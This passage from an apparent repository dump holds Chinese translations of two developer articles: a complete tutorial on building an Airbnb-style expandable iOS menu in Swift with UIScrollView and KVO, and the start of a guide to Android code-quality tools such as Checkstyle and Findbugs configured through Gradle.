    "content": "\n> * 原文地址：[How to implement expandable menu on iOS (like in Airbnb)](https://blog.uptech.team/how-to-implement-expandable-menu-on-ios-like-in-airbnb-3d2bdd97b049)\n> * 原文作者：[Evgeny Matviyenko](https://blog.uptech.team/@evgeny.matviyenko)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-implement-expandable-menu-on-ios-like-in-airbnb.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-implement-expandable-menu-on-ios-like-in-airbnb.md)\n> * 译者：[RichardLeeH](https://github.com/RichardLeeH)\n> * 校对者：[iOSleep](https://github.com/iOSleep)，[KnightJoker](https://github.com/KnightJoker)\n\n# 如何在 iOS 上实现类似 Airbnb 中的可展开式菜单  \n\n![](https://cdn-images-1.medium.com/max/2000/1*4mjos0c1rx7qIAdfjJy6Wg.png)\n\n几个月前，我有机会实现了一个可展开式菜单，效果同知名的 iOS 应用 Airbnb。然后，我认为把它封装为库会更好。现在我想和大家分享用于实现漂亮的滚动驱动动画采用的一些解决方案。\n\n![](https://cdn-images-1.medium.com/max/1600/1*c4e83KM3BMh8p04jXY3m1A.gif)\n\n此库支持 3 个状态。主要目的是在滚动 [UIScrollView](https://developer.apple.com/documentation/uikit/uiscrollview) 时获得流畅的转换。\n\n![](https://cdn-images-1.medium.com/max/2000/1*yghDAza2CgWGTfXYIRJ9kQ.png)\n\n支持的状态\n\n### UIScrollView\n\n[UIScrollView](https://developer.apple.com/documentation/uikit/uiscrollview) 是 iOS SDK 中的一个支持滚动和缩放的视图。它是 [UITableView](https://developer.apple.com/documentation/uikit/uitableview) 和 [UICollectionView](https://developer.apple.com/documentation/uikit/uicollectionview) 的基类，因此，只要支持 `UIScrollView`，就可以使用它。\n\n`UIScrollView` 使用 [UIPanGestureRecognizer](https://developer.apple.com/documentation/uikit/uipangesturerecognizer) 在内部检测滚动手势。`UIScrollView` 的滚动状态被定义为 `contentOffset: CGPoint` 属性。 可滚动区域由 `contentInsets` 和 `contentSize` 联合决定。 因此，起始的 `contentOffset` 为 `*CGPoint(x: -contentInsets.left, y: -contentInsets.right)*` ，结束值为 `*CGPoint(x: contentSize.width — frame.width+contentInsets.right, y: contentSize.height — frame.height+contentInsets.bottom)*`*.*\n\n`UIScrollView` 有一个 `bounces: Bool` 属性。`bounces` 能够避免设置 `contentOffset`  高于/低于限定值。我们需要记住这一点。\n\n[![](https://i.ytimg.com/vi_webp/fgwVqCGgHZA/maxresdefault.webp)](https://youtu.be/fgwVqCGgHZA)\n\nUIScrollView contentOffset 演示\n\n我们感兴趣的是用于改变我们菜单状态的属性 `contentOffset: CGPoint`。监听滚动视图 `contentOffset` 的主要方式是为对象设置一个代理属性，并实现 `scrollViewDidScroll(UIScrollView)` 方法。在 Swift 中，没有办法使用 `delegate` 而不影响其他客户端代码（因为 `NSProxy` 不可用），因此我打算使用键值监听（KVO）。\n\n### Observable\n\n我创建了 `Observable` 泛型类，因此可以监听任何类型。\n\n```\ninternal class Observable<Value>: NSObject {\n  internal var observer: ((Value) -> Void)?\n}\n```\n\n和两个 `Observable` 子类：\n\n- `KVObservable` — 用于封装 KVO。\n\n```\ninternal class KVObservable<Value>: Observable<Value> {\n  private let keyPath: String\n  private weak var object: AnyObject?\n  private var observingContext = NSUUID().uuidString\n\n  internal init(keyPath: String, object: AnyObject) {\n    self.keyPath = keyPath\n    self.object = object\n    super.init()\n\n    object.addObserver(self, forKeyPath: keyPath, options: [.new], context: &observingContext)\n  }\n\n  deinit {\n    object?.removeObserver(self, forKeyPath: keyPath, context: &observingContext)\n  }\n\n  override func observeValue(forKeyPath keyPath: String?, of object: Any?, change: [NSKeyValueChangeKey : Any]?, context: UnsafeMutableRawPointer?) {\n    guard\n      context == &observingContext,\n      let newValue = change?[NSKeyValueChangeKey.newKey] as? Value\n    else {\n      return\n    }\n\n    observer?(newValue)\n  }\n}\n```\n\n- `GestureStateObservable` — 封装了 target-action 用于监听 UIGestureRecognizer 状态。\n\n```\ninternal class GestureStateObservable: Observable<UIGestureRecognizerState> {\n  private weak var gestureRecognizer: UIGestureRecognizer?\n\n  internal init(gestureRecognizer: UIGestureRecognizer) {\n    self.gestureRecognizer = gestureRecognizer\n    super.init()\n\n    gestureRecognizer.addTarget(self, action: #selector(self.handleEvent(_:)))\n  }\n\n  deinit {\n    gestureRecognizer?.removeTarget(self, action: #selector(self.handleEvent(_:)))\n  }\n\n  @objc private func handleEvent(_ recognizer: UIGestureRecognizer) {\n    observer?(recognizer.state)\n  }\n}\n```\n\n### Scrollable\n\n为了便于库的测试，我实现了 `Scrollable` 协议。我也需要采用一种方式让 `UIScrollView` 监听 `contentOffset`, `contentSize` 和 `panGestureRecognizer.state`。协议一致性是一个很好的方法。除了可以监听库中使用的所有的属性。还包括用于设置带有动画效果的 `contentOffset` 的 `updateContentOffset(CGPoint, animated: Bool)` 方法。\n\n```\ninternal protocol Scrollable: class {\n  var contentOffset: CGPoint { get }\n  var contentInset: UIEdgeInsets { get set }\n  var scrollIndicatorInsets: UIEdgeInsets { get set }\n  var contentSize: CGSize { get }\n  var frame: CGRect { get }\n  var contentSizeObservable: Observable<CGSize> { get }\n  var contentOffsetObservable: Observable<CGPoint> { get }\n  var panGestureStateObservable: Observable<UIGestureRecognizerState> { get }\n  func updateContentOffset(_ contentOffset: CGPoint, animated: Bool)\n}\n\n// MARK: - UIScrollView + Scrollable\nextension UIScrollView: Scrollable {\n  var contentSizeObservable: Observable<CGSize> {\n    return KVObservable<CGSize>(keyPath: #keyPath(UIScrollView.contentSize), object: self)\n  }\n\n  var contentOffsetObservable: Observable<CGPoint> {\n    return KVObservable<CGPoint>(keyPath: #keyPath(UIScrollView.contentOffset), object: self)\n  }\n\n  var panGestureStateObservable: Observable<UIGestureRecognizerState> {\n    return GestureStateObservable(gestureRecognizer: panGestureRecognizer)\n  }\n\n  func updateContentOffset(_ contentOffset: CGPoint, animated: Bool) {\n    // Stops native deceleration.\n    setContentOffset(self.contentOffset, animated: false)\n\n    let animate = {\n      self.contentOffset = contentOffset\n    }\n\n    guard animated else {\n      animate()\n      return\n    }\n\n    UIView.animate(withDuration: 0.25, delay: 0, options: [], animations: {\n      animate()\n    }, completion: nil)\n  }\n}\n```\n\n我没有使用系统库提供的 `UIScrollView` 实现的方法 `setContentOffset(...)` ，因为在我看来，`UIKit` 动画 API 更加灵活。这里的问题是直接设置 `contentOffset` 属性并不能使 `UIScrollView` 减速停下来，所以使用没有动画效果的 updateContentOffset(…) 方法设置当前的 contentOffset。\n\n### State\n\n我想要获取可预测的菜单状态。这就是为什么我在 `State` 结构体中封装了所有可变状态，包括 `offset`、`isExpandedStateAvailable` 和 `configuration` 属性。\n\n```\npublic struct State {\n  internal let offset: CGFloat\n  internal let isExpandedStateAvailable: Bool\n  internal let configuration: Configuration\n\n  internal init(offset: CGFloat, isExpandedStateAvailable: Bool, configuration: Configuration) {\n    self.offset = offset\n    self.isExpandedStateAvailable = isExpandedStateAvailable\n    self.configuration = configuration\n  }\n}\n```\n\n`offset` 仅仅是菜单高度的相反数。我打算使用 `offset` 来代替 `height`，因为向下滚动时高度降低，当向上滚动时高度增加。`offset` 可以使用 `*offset = previousOffset + (contentOffset.y — previousContentOffset.y)*` 来计算。\n\n- `isExpandedStateAvailable` 属性用于判断 offset 应该赋值为 `-normalStateHeight` 或 `-expandedStateHeight`;\n- `configuration` 是一个包含菜单高度常量的结构体。\n\n```\npublic struct Configuration {\n  let compactStateHeight: CGFloat\n  let normalStateHeight: CGFloat\n  let expandedStateHeight: CGFloat\n}\n```\n\n### BarController\n\n`BarController` 是用于管理所有计算状态的主要对象，并为调用者提供状态改变。\n\n```\npublic typealias StateObserver = (State) -> Void\n\nprivate struct ScrollableObservables {\n  let contentOffset: Observable<CGPoint>\n  let contentSize: Observable<CGSize>\n  let panGestureState: Observable<UIGestureRecognizerState>\n}\n\npublic class BarController {\n\n  private let stateReducer: StateReducer\n  private let configuration: Configuration\n  private let stateObserver: StateObserver\n\n  private var state: State {\n    didSet { stateObserver(state) }\n  }\n\n  private weak var scrollable: Scrollable?\n  private var observables: ScrollableObservables?\n\n  // MARK: - Lifecycle\n  internal init(\n    stateReducer: @escaping StateReducer,\n    configuration: Configuration,\n    stateObserver: @escaping StateObserver\n  ) {\n    self.stateReducer = stateReducer\n    self.configuration = configuration\n    self.stateObserver = stateObserver\n    self.state = State(\n      offset: -configuration.normalStateHeight,\n      isExpandedStateAvailable: false,\n      configuration: configuration\n    )\n  }\n\n  ...\n}\n```\n\n它传递 `stateReducer`， `configuration` 和 `stateObserver` 作为初始参数。\n\n- `stateObserver` 闭包在 `state` 属性的 `didSet` 中被调用中被调用。它通知库的调用者关于状态的改变。\n- `stateReducer` 是一个函数，它传入之前的状态，一些滚动上下文参数，并返回一个新状态。通过初始化方法传入参数，用于解耦状态计算和 `BarController` 对象。\n\n```\ninternal struct StateReducerParameters {\n  let scrollable: Scrollable\n  let configuration: Configuration\n  let previousContentOffset: CGPoint\n  let contentOffset: CGPoint\n  let state: State\n}\n\ninternal typealias StateReducer = (StateReducerParameters) -> State\n```\n\n默认的 state reducer 用于计算 `contentOffset.y` 和 `previousContentOffset.y` 的差值, 并对每个变换器进行计算。然后返回返回新状态：`offset = previousState.offset + deltaY`。\n\n```\ninternal struct ContentOffsetDeltaYTransformerParameters {\n  let scrollable: Scrollable\n  let configuration: Configuration\n  let previousContentOffset: CGPoint\n  let contentOffset: CGPoint\n  let state: State\n  let contentOffsetDeltaY: CGFloat\n}\n\ninternal typealias ContentOffsetDeltaYTransformer = (ContentOffsetDeltaYTransformerParameters) -> CGFloat\n\ninternal func makeDefaultStateReducer(transformers: [ContentOffsetDeltaYTransformer]) -> StateReducer {\n  return { (params: StateReducerParameters) -> State in\n    var deltaY = params.contentOffset.y - params.previousContentOffset.y\n\n    deltaY = transformers.reduce(deltaY) { (deltaY, transformer) -> CGFloat in\n      let params = ContentOffsetDeltaYTransformerParameters(\n        scrollable: params.scrollable,\n        configuration: params.configuration,\n        previousContentOffset: params.previousContentOffset,\n        contentOffset: params.contentOffset,\n        state: params.state,\n        contentOffsetDeltaY: deltaY\n      )\n      return transformer(params)\n    }\n\n    return params.state.add(offset: deltaY)\n  }\n}\n```\n\n库中使用了 3 个变换器来减少状态：\n\n- `ignoreTopDeltaYTransformer` — 确保滚动到 `UIScrollView` 的顶部被忽略并且不会影响到 `BarController` 状态；\n\n```\ninternal let ignoreTopDeltaYTransformer: ContentOffsetDeltaYTransformer = { params -> CGFloat in\n  var deltaY = params.contentOffsetDeltaY\n\n  // Minimum contentOffset.y without bounce.\n  let start = params.scrollable.contentInset.top\n\n  // Apply transform only when contentOffset is below starting point.\n  if\n    params.previousContentOffset.y < -start ||\n      params.contentOffset.y < -start\n  {\n    // Adjust deltaY to ignore scroll view bounce below minimum contentOffset.y.\n    deltaY += min(0, params.previousContentOffset.y + start)\n  }\n\n  return deltaY\n}\n```\n\n- `ignoreBottomDeltaYTransformer` — 和 `ignoreTopDeltaYTransformer`类似，只是滚动到底部；\n\n```\ninternal let ignoreBottomDeltaYTransformer: ContentOffsetDeltaYTransformer = { params -> CGFloat in\n  var deltaY = params.contentOffsetDeltaY\n\n  // Maximum contentOffset.y without bounce.\n  let end = params.scrollable.contentSize.height - params.scrollable.frame.height + params.scrollable.contentInset.bottom\n\n  // Apply transform only when contentOffset.y is above ending.\n  if params.previousContentOffset.y > end ||\n      params.contentOffset.y > end\n  {\n    // Adjust deltaY to ignore scroll view bounce above maximum contentOffset.y.\n    deltaY += max(0, params.previousContentOffset.y - end)\n  }\n\n  return deltaY\n}\n```\n\n- `cutOutStateRangeDeltaYTransformer` — 删除那些超过BarController支持的状态（最小值/最大值）限制的 delta Y。\n\n```\ninternal let cutOutStateRangeDeltaYTransformer: ContentOffsetDeltaYTransformer = { params -> CGFloat in\n  var deltaY = params.contentOffsetDeltaY\n\n  if deltaY > 0 {\n    // Transform when scrolling down.\n    // Cut out extra deltaY that will go out of compact state offset after apply.\n    deltaY = min(-params.configuration.compactStateHeight, (params.state.offset + deltaY)) - params.state.offset\n  } else {\n    // Transform when scrolling up.\n    // Expanded or normal state height.\n    let maxStateHeight = params.state.isExpandedStateAvailable ? params.configuration.expandedStateHeight : params.configuration.normalStateHeight\n    // Cut out extra deltaY that will go out of maximum state offset after apply.\n    deltaY = max(-maxStateHeight, (params.state.offset + deltaY)) - params.state.offset\n  }\n\n  return deltaY\n}\n```\n\n每次 `contentOffset` 变化时，`BarController` 调用 `stateReducer` 并将结果赋值给 `state`。\n\n```\n private func setupObserving() {\n    guard let observables = observables else { return }\n\n    // Content offset observing.\n    var previousContentOffset: CGPoint?\n    observables.contentOffset.observer = { [weak self] contentOffset in\n      guard previousContentOffset != contentOffset else { return }\n      self?.contentOffsetChanged(previousValue: previousContentOffset, newValue: contentOffset)\n      previousContentOffset = contentOffset\n    }\n\n    ...\n  }\n\n  private func contentOffsetChanged(previousValue: CGPoint?, newValue: CGPoint) {\n    guard\n      let previousValue = previousValue,\n      let scrollable = scrollable\n    else {\n      return\n    }\n\n    let reducerParams = StateReducerParameters(\n      scrollable: scrollable,\n      configuration: configuration,\n      previousContentOffset: previousValue,\n      contentOffset: newValue,\n      state: state\n    )\n\n    state = stateReducer(reducerParams)\n  }\n\n  ...\n```\n\n到此，该库能够将 `contentOffset` 的变化转化为内部状态的改变，但是 `isExpandedStateAvailable` 状态属性此时不能被修改，因为状态状态转变尚未结束。\n\n该 `panGestureRecognizer.state` 监听出场了：\n\n```\nprivate func setupObserving() {\n    ...\n\n    // Pan gesture state observing.\n    observables.panGestureState.observer = { [weak self] state in\n      self?.panGestureStateChanged(state: state)\n    }\n  }\n\n  private func panGestureStateChanged(state: UIGestureRecognizerState) {\n    switch state {\n    case .began:\n      panGestureBegan()\n    case .ended:\n      panGestureEnded()\n    case .changed:\n      panGestureChanged()\n    default:\n      break\n    }\n  }\n```\n\n- 如果拖动手势在在滚动的上部，或者我们已经处于展开状态，拖动手势将 `isExpandedStateAvailable` 状态属性设置为 true；\n\n```\nprivate func panGestureBegan() {\n    guard let scrollable = scrollable else { return }\n\n    // Is currently at top of scrollable area.\n    // Assertion is not strict here, because of UIScrollView KVO observing bug.\n    // First emitted contentOffset.y isn't always a decimal number.\n    let isScrollingAtTop = scrollable.contentOffset.y.isNear(to: -configuration.normalStateHeight, delta: 5)\n    // Is expanded state previously available.\n    let isExpandedStatePreviouslyAvailable = scrollable.contentOffset.y < -configuration.normalStateHeight && state.isExpandedStateAvailable\n    // Turn on expanded state if scrolling at top or expanded state previous available.\n    state = state.set(isExpandedStateAvailable: isScrollingAtTop || isExpandedStatePreviouslyAvailable)\n\n    // Configure contentInset.top to be consistent with available states.\n    scrollable.contentInset.top = state.isExpandedStateAvailable ? configuration.expandedStateHeight : configuration.normalStateHeight\n  }\n```\n\n- 如果状态偏移值达到正常状态，拖动手势变化回调方法就会设置 `isExpandedStateAvailable`；\n\n```\nprivate func panGestureChanged() {\n  guard let scrollable = scrollable else { return }\n\n  // Turn off expanded state if offset is bigger than normal state offset.\n  if state.isExpandedStateAvailable && scrollable.contentOffset.y > -configuration.normalStateHeight {\n    state = state.set(isExpandedStateAvailable: false)\n    scrollable.contentInset.top = configuration.normalStateHeight\n  }\n}\n```\n\n- 拖动手势结束后找到最接近当前状态的偏移量，添加其差值到偏移量上，并调用偏移量到结束状态的动画 `updateContentOffset(CGPoint, animated: Bool)`。\n\n```\nprivate func panGestureEnded() {\n  guard let scrollable = scrollable else { return }\n\n  let stateOffset = state.offset\n  // 所有支持的状态偏移。\n  let offsets = [\n    -configuration.compactStateHeight,\n    -configuration.normalStateHeight,\n    -configuration.expandedStateHeight\n  ]\n\n  // Find smallest absolute delta between current offset and supported state offsets.\n  let smallestDelta = offsets.reduce(nil) { (smallestDelta: CGFloat?, offset: CGFloat) -> CGFloat in\n    let delta = offset - stateOffset\n    guard let smallestDelta = smallestDelta else { return delta }\n    return abs(delta) < abs(smallestDelta) ? delta : smallestDelta\n  }\n\n  // Add samllestDelta to currentOffset.y and update scrollable contentOffset with animation.\n  if let smallestDelta = smallestDelta, smallestDelta != 0 {\n    let targetContentOffsetY = scrollable.contentOffset.y + smallestDelta\n    let targetContentOffset = CGPoint(x: scrollable.contentOffset.x, y: targetContentOffsetY)\n    scrollable.updateContentOffset(targetContentOffset, animated: true)\n  }\n}\n```\n\n因此，只有当用户在可用的可滚动区域的顶部滚动时，可展开状态才会生效。如果可展开状态可用并且用户滚动到正常状态之下，此时可展开状态被禁用。如果用户在状态转换期间结束拖动手势，`BarController` 此时会以动画的方式更新 contentoffset。\n\n### 将 UIScrollView 绑定到 BarController\n\n`BarController` 包含 2 个公有方法用于用户设置 `UIScrollView`。通常情况下，用户使用 `set(scrollView: UIScrollView)` 方法。也可以使用 `preconfigure(scrollView: UIScrollView)` 方法，用于设置滚动视图的可视状态与当前 `BarController` 状态一致。\n它被用于滚动视图即将被交换的时候。例如，用户可以采用动画替换当前的滚动视图，并希望在动画开始时将第二滚动视图可视化配置。动画结束后，用户应该调用 `set(scrollView: UIScrollView)`。如果 `UIScrollView` 只设置一次，那么 `preconfigure(scrollView: UIScrollView)` 方法不是必须调用的，因为 `set(scrollView: UIScrollView)` 是在内部调用的。\n\n`preconfigure` 方法计算 `contentSize` 高度和 frame 高度的差值， 并将其赋值给 bottomcontentinset，使其菜单保持可扩展状态，并设置 `contentInsets.top` 和 `scrollIndicatorInsets.top`，然后设置初始的 `contentOffset` 确保新的滚动视图与状态偏移保持一致。\n\n```\npublic func set(scrollView: UIScrollView) {\n  self.set(scrollable: scrollView)\n}\n\ninternal func set(scrollable: Scrollable) {\n  self.scrollable = scrollable\n  self.observables = ScrollableObservables(\n    contentOffset: scrollable.contentOffsetObservable,\n    contentSize: scrollable.contentSizeObservable,\n    panGestureState: scrollable.panGestureStateObservable\n  )\n\n  preconfigure(scrollable: scrollable)\n  setupObserving()\n\n  stateObserver(state)\n}\n\npublic func preconfigure(scrollView: UIScrollView) {\n  preconfigure(scrollable: scrollView)\n}\n\ninternal func preconfigure(scrollable: Scrollable) {\n  scrollable.setBottomContentInsetToFillEmptySpace(heightDelta: configuration.compactStateHeight)\n\n  // Set contentInset.top to current state height.\n  scrollable.contentInset.top = state.offset <= -configuration.normalStateHeight && state.isExpandedStateAvailable ? configuration.expandedStateHeight : configuration.normalStateHeight\n  // Set scrollIndicator.top to normal state height.\n  scrollable.scrollIndicatorInsets.top = configuration.normalStateHeight\n\n  // Scroll to top of scrollable area if state is expanded or content offset is less than zero.\n  if scrollable.contentOffset.y <= 0 || (state.offset < -configuration.normalStateHeight && state.isExpandedStateAvailable) {\n    let targetContentOffset = CGPoint(x: scrollable.contentOffset.x, y: state.offset)\n    scrollable.updateContentOffset(targetContentOffset, animated: false)\n  }\n}\n```\n\n### API\n\n为了通知用户状态变化，`BarController` 调用注入 `stateObserver` 方法并传入变化后的 `State` 模型对象。\n\n`State` 结构体提供了几个公有方法用于从内部状态中读取有用信息：\n\n- `height()`— 返回 offset 的相反数, 菜单的实际高度；\n\n```\n  public func height() -> CGFloat {\n    return -offset\n  }\n```\n\n- `transitionProgress()`— 返回从 0 到 2 的改变状态，**0 — 简洁状态，1 — 正常状态， 2 — 展开状态**；\n\n```\ninternal enum StateRange {\n  case compactNormal\n  case normalExpanded\n\n  internal func progressBounds() -> (CGFloat, CGFloat) {\n    switch self {\n    case .compactNormal:\n      return (0, 1)\n    case .normalExpanded:\n      return (1, 2)\n    }\n  }\n}\n\n...\n\ninternal func stateRange() -> StateRange {\n  if offset > -configuration.normalStateHeight {\n    return .compactNormal\n  } else {\n    return .normalExpanded\n  }\n}\n\npublic func transitionProgress() -> CGFloat {\n  let stateRange = self.stateRange()\n  let offsetBounds = configuration.offsetBounds(for: stateRange)\n  let progressBounds = stateRange.progressBounds()\n  let reversedProgressBounds = (progressBounds.1, progressBounds.0)\n  return offset.map(from: offsetBounds, to: reversedProgressBounds)\n}\n```\n\n- `value(compactNormalRange: ValueRangeType, normalExpandedRange: ValueRangeType)` — 根据当前的 StateRange 将转换进度映射为 2 个范围类型之一并返回。\n\n```\npublic enum ValueRangeType {\n    case value(CGFloat)\n    case range(CGFloat, CGFloat)\n\n    internal var range: (CGFloat, CGFloat) {\n      switch self {\n      case let .value(value):\n        return (value, value)\n      case let .range(range):\n        return range\n      }\n    }\n  }\n\n  public func value(compactNormalRange: ValueRangeType, normalExpandedRange: ValueRangeType) -> CGFloat {\n    let progress = self.transitionProgress()\n    let stateRange = self.stateRange()\n    let valueRange = stateRange == .compactNormal ? compactNormalRange : normalExpandedRange\n    return progress.map(from: stateRange.progressBounds(), to: valueRange.range)\n  }\n```\n\n以下为 `AirBarExampleApp` 中使用 `State` 的公有方法。`airBar.frame.height` 根据 `height()` 动画，`backgroundView.alpha` 根据 `value(...)` 动画。这里的背景视图透明会进行 `(0, 1)` 范围内的差值表示为 `compact-normal` 的状态， `1` 为 `normal-expanded` 状态。\n\n```\noverride func viewDidLoad() {\n    ...\n\n    let barStateObserver: (AirBar.State) -> Void = { [weak self] state in\n      self?.handleBarControllerStateChanged(state: state)\n    }\n\n    barController = BarController(configuration: configuration, stateObserver: barStateObserver)\n  }\n\n  ...\n\n  private func handleBarControllerStateChanged(state: State) {\n    let height = state.height()\n\n    airBar.frame = CGRect(\n      x: airBar.frame.origin.x,\n      y: airBar.frame.origin.y,\n      width: airBar.frame.width,\n      height: height // <~ Animated property\n    )\n\n    backgroundView.alpha = state.value(compactNormalRange: .range(0, 1), normalExpandedRange: .value(1)) // <~ Animated property\n  }\n```\n\n### 总结\n\n到此，我已经实现了一个带有可预测状态的漂亮的滚动驱动菜单，并学到了许多使用 `UIScrollView` 的经验。\n\n以下可以找到本封装库，示例应用和安装指南：\n\n[![](https://ws3.sinaimg.cn/large/006tNc79ly1fhpl9s31fbj314i0aaaaw.jpg)](https://github.com/uptechteam/AirBar)\n\n你可以随意使用它。如果遇到任何困难，请告诉我。\n\n你有哪些使用 `UIScrollView` 及滚动驱动动画经验？欢迎在评论中分享/提问，我很乐意帮忙。\n\n感谢您的阅读！\n\n---\n\n我们在 [UPTech](https://uptech.team/) 上做了以 [Freebird Rides](https://www.freebirdrides.com/) 应用为主题的调查。\n\n---\n\n**如果本文对你有帮助, 点击下方的** 💚 **，这样其他人也会喜欢它。关注我们更多关于如何构建极好产品的文章。**\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-to-improve-quality-and-syntax-of-your-android-code.md",
    "content": "> * 原文链接 : [How to improve quality and syntax of your Android code](http://vincentbrison.com/2014/07/19/how-to-improve-quality-and-syntax-of-your-android-code/)\n* 原文作者 : [Vincent Brison](http://vincentbrison.com/author/admin/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [尹述迪](http://yinshudi.com/)\n* 校对者: [laobie](https://github.com/laobie)\n\n# 如何提高安卓代码的质量和语法\n\n在这篇文章中，我会介绍几种不同的方式，让你通过自动化工具提高你的Android代码质量，包括 [Checkstyle](http://checkstyle.sourceforge.net/)， [Findbugs](http://findbugs.sourceforge.net/)， [PMD](http://pmd.sourceforge.net/)， 当然，还有我们最熟悉的[Android Lint](http://tools.android.com/tips/lint)。 为了让你的代码保持缜密的语法，同时避免一些糟糕的实现和错误，使用自动化的方式测试你的代码十分有用，尤其是当你和队友一起工作时。我会细心地解释如何直接通过你的Gradle构建脚本使用这些工具，和怎么方便地配置它们。\n\n## Fork这个例子\n我强烈建议你fork[此项目](https://github.com/vincentbrison/vb-android-app-quality.git)，因为我将介绍的所有例子均来自于它。同时，你也能自己测试这些质量控制工具。\n\n## 关于Gradle任务\n理解任务在Gradle中的概念是理解这篇文章的基础(广义上，也是学会撰写Gradle脚本的基础)。我强烈建议你先阅读一下Gradle文档中关于任务的部分([这个](http://www.gradle.org/docs/current/userguide/tutorial_using_tasks.html)和[这个](http://www.gradle.org/docs/current/userguide/more_about_tasks.html))。\n文档中包含许多例子，非常容易理解。好了，那现在我就假设你已经fork了我的仓库，将项目导入了你的Android Studio，同时也已经熟悉了Gradle的任务。如果没有也不必担心，我会尽我所能解释得通俗易懂。\n\n## Demo项目的层次结构\n你能将`gradle`脚本分离在很多文件中，目前我分了3个`gradle`文件：\n* [一个在根目录](https://github.com/vincentbrison/vb-android-app-quality/blob/master/build.gradle)，这个文件是关于项目的一些配置(比如使用的maven仓库和使用的Gradle版本)；\n* [一个在子文件夹`app`中](https://github.com/vincentbrison/vb-android-app-quality/blob/master/app/build.gradle)，这是一个典型的构建Android应用的Gradle文件。\n* [一个在子文件夹`config`中](https://github.com/vincentbrison/vb-android-app-quality/blob/master/config/quality.gradle)，这个才是我们所关注的，我用它来为我的项目集成并配置所有的质量控制工具。\n\n# Checkstyle\n\n[![](http://checkstyle.sourceforge.net/images/logo.png)](http://checkstyle.sourceforge.net/)\n\n## 简介\n> Checkstyle是一个帮助程序员坚持规范化编写Java代码的开发工具.它自动检查Java代码,将程序员从这项乏味(但重要)的工作中解放出来.\n\n正如Checkstyle的开发者所说，这个工具帮助你在一个项目中，精确并灵活地定义和保持编码规范。当你运行Checkstyle时，它会分析你的Java代码，根据你的配置找出所有错误并提示你。\n\n## 通过Gradle配置\n以下代码展示了在你项目中使用`Checkstyle`的基本配置(作为一个`Gradle`任务)：\n\n```Gradle\ntask checkstyle(type: Checkstyle) {\n    configFile file(\"${project.rootDir}/config/quality/checkstyle/checkstyle.xml\") // Where my checkstyle config is...\n    configProperties.checkstyleSuppressionsPath = file(\"${project.rootDir}/config/quality/checkstyle/suppressions.xml\").absolutePath // Where is my suppressions file for checkstyle is...\n    source 'src'\n    include '**/*.java'\n    exclude '**/gen/**'\n    classpath = files()\n}\n```\n配置完后，这个任务就会根据`checkstyle.xml`和`suppressions.xml`两个文件来分析你的代码。只需要在`Gradle`面板中启动这个任务，Android Studio就会自动执行此任务。\n\n[![checkstyle](http://vincentbrison.com/wp-content/uploads/2014/07/checkstyle.jpg)](http://vincentbrison.com/wp-content/uploads/2014/07/checkstyle.jpg)\n\n运行`Checkstyle`后，你会得到一份报告，上面纪录了在你项目中找到的所有问题。而且它非常易于理解。\n\n如果你想更个性化地配置`Checkstyle`，请参考这篇[文档](http://www.gradle.org/docs/current/dsl/org.gradle.api.plugins.quality.Checkstyle.html)。\n\n## Checkstyle使用技巧\n\n`Checkstyle`会探测到大量问题，尤其当你使用了很多规则--比如你想要一个精确的语法。虽然我通过`Gradle`脚本来使用`Checkstyle`(比如在我push代码之前)，但我建议你同时使用`Checkstyle`的IntellJ/Android Studio插件(你能直接通过工具栏File/Settings/Plugins安装它们。译者注:mac版是Android Studio/Preferences/Plugins)。这种方式也是根据你之前为Gradle指定的那两个配置文件在你的项目中应用`Checkstyle`。这样的好处是能直接在Android Studio中查看结果。更实用的是，结果可以直接链接到错误所在代码(`Gradle`的那种方式仍然很重要，因为你能通过`Jenkins`这样的自动化构建系统来使用它)。\n\n# FindBugs\n\n[![](http://findbugs.sourceforge.net/umdFindbugs.png)](http://findbugs.sourceforge.net/)\n\n## 简介\n\n`Findbugs` 需要简介吗？它的名字已经说明了一切。\n>Findbugs 通过静态分析来检查Java字节码中的错误模式。\n\n`Findbugs` 基本上只需要项目的字节码文件来做分析，因此它十分易用。它会检测出诸如错误使用布尔运算符这样常见的错误。同时，它还能检测出一些由于误解语言特性所导致的错误，比如Java中方法参数的重新赋值(实际上是无效的，因为Java中方法的参数是值传递)。\n\n## 通过Gradle配置\n\n以下代码展示了在你项目中使用`Findbugs`的基本配置(作为一个`Gradle`任务)：\n\n```Gradle\ntask findbugs(type: FindBugs) {\n    ignoreFailures = false\n    effort = \"max\"\n    reportLevel = \"high\"\n    excludeFilter = new File(\"${project.rootDir}/config/quality/findbugs/findbugs-filter.xml\")\n    classes = files(\"${project.rootDir}/app/build/classes\")\n\n    source 'src'\n    include '**/*.java'\n    exclude '**/gen/**'\n\n    reports {\n    xml.enabled = false\n    html.enabled = true\n    xml {\n    destination \"$project.buildDir/reports/findbugs/findbugs.xml\"\n    }\n    html {\n    destination \"$project.buildDir/reports/findbugs/findbugs.html\"\n    }\n    }\n\n    classpath = files()\n}\n```\n这和`Checkstyle`的任务很像。`Findbugs`支持`HTML`和`XML`格式的报告，我选择了`HTML`，因为其可读性更强。除此以外，你只需要标记一下报告的路径来快速读取它。如果Findbugs中的错误被检测到，任务会失败(仍然产生报告)。执行`Findbugs`的方式和`Checkstyle`完全一样(只是名字变成了\"Findbugs\")。\n\n## Findbugs使用技巧\n\n由于Android项目与Java项目有轻微不同，我强烈建议大家使用`findbugs-filter`。例子[点这里](https://github.com/vincentbrison/vb-android-app-quality/blob/demo/config/quality/findbugs/findbugs-filter.xml)(示例项目的其中之一)。它一般会忽略掉R文件和清单文件。另外，由于`Findbugs`是分析你的字节码，你至少需要编译一次项目来测试它。\n\n\n# PMD\n\n[![](http://pmd.sourceforge.net/pmd_logo.png)](http://pmd.sourceforge.net/)\n\n## 